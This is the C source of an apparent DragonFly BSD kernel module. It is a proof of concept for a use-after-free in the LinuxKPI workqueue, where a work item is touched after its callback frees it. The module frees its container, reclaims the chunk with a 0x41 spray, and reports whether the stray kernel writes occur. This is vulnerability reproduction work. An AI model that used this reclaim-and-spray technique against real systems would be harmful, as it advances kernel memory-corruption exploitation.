/*
 * selffree.c - PoC for DF-5169: self-freeing work item x DFly LinuxKPI
 * workqueue touch-after-free.
 *
 * Trigger pattern is sys/dev/drm/i915/i915_gem_clflush.c::i915_clflush_work():
 * the callback's final dma_fence_put(&clflush->dma) (i915_gem_clflush.c:89)
 * can drop the last reference and kfree() the container *while the callback
 * is still running* (refs #2 and #3 are dropped earlier: FENCE_FREE at
 * i915_sw_fence completion, i915_sw_fence.c:187-195, and
 * reservation_object_add_excl_fence() replacement by the next execbuf,
 * i915_vma.c:926-934).  Linux workqueue semantics explicitly allow this
 * ("the work item may be freed as soon as its callback returns") - but the
 * DragonFly LinuxKPI process_all_work() (sys/dev/drm/linux_workqueue.c:92-98
 * at audit time) keeps touching the work item AFTER work->func() returns:
 *
 *	if (work->on_queue == false)	<- UAF READ
 *		work->worker = NULL;	<- UAF WRITE (8-byte NULL at +16)
 *	didcan = work->canceled;	<- UAF READ
 *	cpu_sfence();
 *	work->running = false;		<- UAF WRITE (1-byte zero at +25)
 *	if (didcan == true)
 *		wakeup(work);		<- wakeup on dangling wait channel
 *
 * This module reproduces the mechanism without needing Intel GPU hardware:
 * it queues, on the real system_wq, a work item whose callback frees its own
 * container and then immediately reclaims+poisons the just-freed chunk
 * (attacker-style spray).  If the post-func UAF writes happen, they land in
 * the poisoned replacement object and are directly observable:
 *   - byte at offsetof(struct work_struct, running)  flips 0x41 -> 0x00
 *   - qword at offsetof(struct work_struct, worker)  flips 0x4141.. -> 0x0
 *
 * Completion of the post-func block is detected with a trailing marker work
 * queued right behind the self-freeing one (same per-CPU worker, FIFO), so
 * the observation works identically on patched and unpatched kernels.
 *
 * sysctl debug.selffree=1  -> run 8 rounds, print per-round observations
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/types.h>

#include <linux/workqueue.h>

struct selffree {
	struct work_struct	work;	/* first member, like struct clflush */
	char			pad[64];
};

static MALLOC_DEFINE(M_SELFFREE, "selffree", "self-freeing work item PoC");

#define SELFFREE_ROUNDS	8

static volatile int	g_freed;	/* callbacks ran + freed */
static volatile int	g_reclaimed;	/* reclaim hit the same address */
static volatile int	g_obs_running;	/* observed running=false UAF write */
static volatile int	g_obs_worker;	/* observed worker=NULL UAF write */
static void	       *g_keeps[SELFFREE_ROUNDS];	/* hold reclaims */
static volatile void   *g_re;
static volatile int	g_marker_done;
static struct work_struct g_marker;

static void
selffree_func(struct work_struct *work)
{
	struct selffree *sf = (void *)work;	/* work is first member */
	struct selffree *re;

	/*
	 * i915_clflush_work() pattern: the last dma_fence_put() of the
	 * fence whose container embeds this work_struct frees the whole
	 * allocation from inside the callback.
	 */
	kfree(sf, M_SELFFREE);
	g_freed++;

	/*
	 * Attacker-style immediate reclaim + poison: same CPU, same size
	 * class => the just-freed chunk comes back with near certainty.
	 * 0x41 everywhere except on_queue (kept 0 so the worker's UAF read
	 * takes the work->worker = NULL branch).
	 */
	re = kmalloc(sizeof(*re), M_SELFFREE, M_WAITOK);
	if (re == sf) {
		memset(re, 0x41, sizeof(*re));
		((char *)&re->work)[offsetof(struct work_struct, on_queue)] = 0;
		((char *)&re->work)[offsetof(struct work_struct, canceled)] = 0x41;
		g_reclaimed++;
		g_re = re;
	} else if (re != NULL) {
		kfree(re, M_SELFFREE);
	}
}

/* Queued right behind the self-freeing work on the same worker: when this
 * runs, the self-freeing work's post-func block (the UAF window) has fully
 * completed - on both patched and unpatched kernels. */
static void
marker_func(struct work_struct *work)
{
	g_marker_done = 1;
}

static int
selffree_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, val = 0;
	int i, j;

	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (val != 1)
		return (0);

	kprintf("SELFFREE: struct work_struct size=%zu worker=%zu "
	    "on_queue=%zu running=%zu canceled=%zu; selffree size=%zu\n",
	    sizeof(struct work_struct),
	    offsetof(struct work_struct, worker),
	    offsetof(struct work_struct, on_queue),
	    offsetof(struct work_struct, running),
	    offsetof(struct work_struct, canceled),
	    sizeof(struct selffree));

	for (i = 0; i < SELFFREE_ROUNDS; i++) {
		struct selffree *sf;
		volatile unsigned char *w;
		size_t off_run = offsetof(struct work_struct, running);
		size_t off_worker = offsetof(struct work_struct, worker);
		int k;

		g_re = NULL;
		g_marker_done = 0;
		INIT_WORK(&g_marker, marker_func);

		sf = kmalloc(sizeof(*sf), M_SELFFREE, M_WAITOK);
		INIT_WORK(&sf->work, selffree_func);
		schedule_work(&sf->work);
		schedule_work(&g_marker);

		/* wait for the whole pair (selffree + marker) to complete */
		for (j = 0; j < 400 && g_marker_done == 0; j++)
			tsleep(&g_marker_done, 0, "sfpoll1", 1);
		if (g_marker_done == 0) {
			kprintf("SELFFREE[%d]: timed out waiting for worker\n",
			    i);
			continue;
		}
		if (g_re == NULL) {
			kprintf("SELFFREE[%d]: freed but not reclaimed "
			    "(round unobservable)\n", i);
			continue;
		}
		w = g_re;

		{
			int run_touched = (w[off_run] != 0x41);
			int worker_touched = 0;
			for (k = 0; k < 8; k++)
				if (w[off_worker + k] != 0x41)
					worker_touched = 1;

			kprintf("SELFFREE[%d]: freed+reclaimed @%p; "
			    "running byte=%02x (poison=41) worker qword=",
			    i, (void *)w, w[off_run]);
			for (k = 7; k >= 0; k--)
				kprintf("%02x", w[off_worker + k]);
			kprintf(" (poison=4141414141414141)%s%s%s\n",
			    run_touched ? "  <== UAF WRITE running=false" :
			    "  (running byte untouched)",
			    worker_touched ? "  <== UAF WRITE worker=NULL" :
			    "  (worker qword untouched)",
			    (!run_touched && !worker_touched) ?
			    "  -> post-func writes did NOT touch the freed "
			    "item (fixed behavior)" : "");

			if (run_touched)
				g_obs_running++;
			if (worker_touched)
				g_obs_worker++;
		}
		g_keeps[i] = (void *)w;	/* keep it allocated */
	}

	kprintf("SELFFREE: SUMMARY freed=%d reclaimed=%d "
	    "uaf_running_write=%d uaf_worker_null_write=%d\n",
	    g_freed, g_reclaimed, g_obs_running, g_obs_worker);
	if (g_obs_running > 0 || g_obs_worker > 0)
		kprintf("SELFFREE: VERDICT UAF-WRITE REPRODUCED - "
		    "process_all_work touched the freed work item after "
		    "func() returned\n");
	else if (g_reclaimed > 0)
		kprintf("SELFFREE: VERDICT FIXED - freed+reclaimed work "
		    "item was not touched after func() returned\n");
	return (0);
}
SYSCTL_PROC(_debug, OID_AUTO, selffree,
    CTLTYPE_INT | CTLFLAG_RW, 0, 0, selffree_sysctl, "I",
    "1=run self-freeing work item UAF demonstration");

static int
selffree_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		memset(g_keeps, 0, sizeof(g_keeps));
		kprintf("SELFFREE: loaded; use sysctl debug.selffree=1\n");
		return (0);
	case MOD_UNLOAD:
		for (int i = 0; i < SELFFREE_ROUNDS; i++)
			if (g_keeps[i] != NULL)
				kfree(g_keeps[i], M_SELFFREE);
		return (0);
	}
	return (0);
}

static moduledata_t selffree_mod = { "selffree", selffree_load, NULL };
DECLARE_MODULE(selffree, selffree_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(selffree, drm, 1, 1, 1);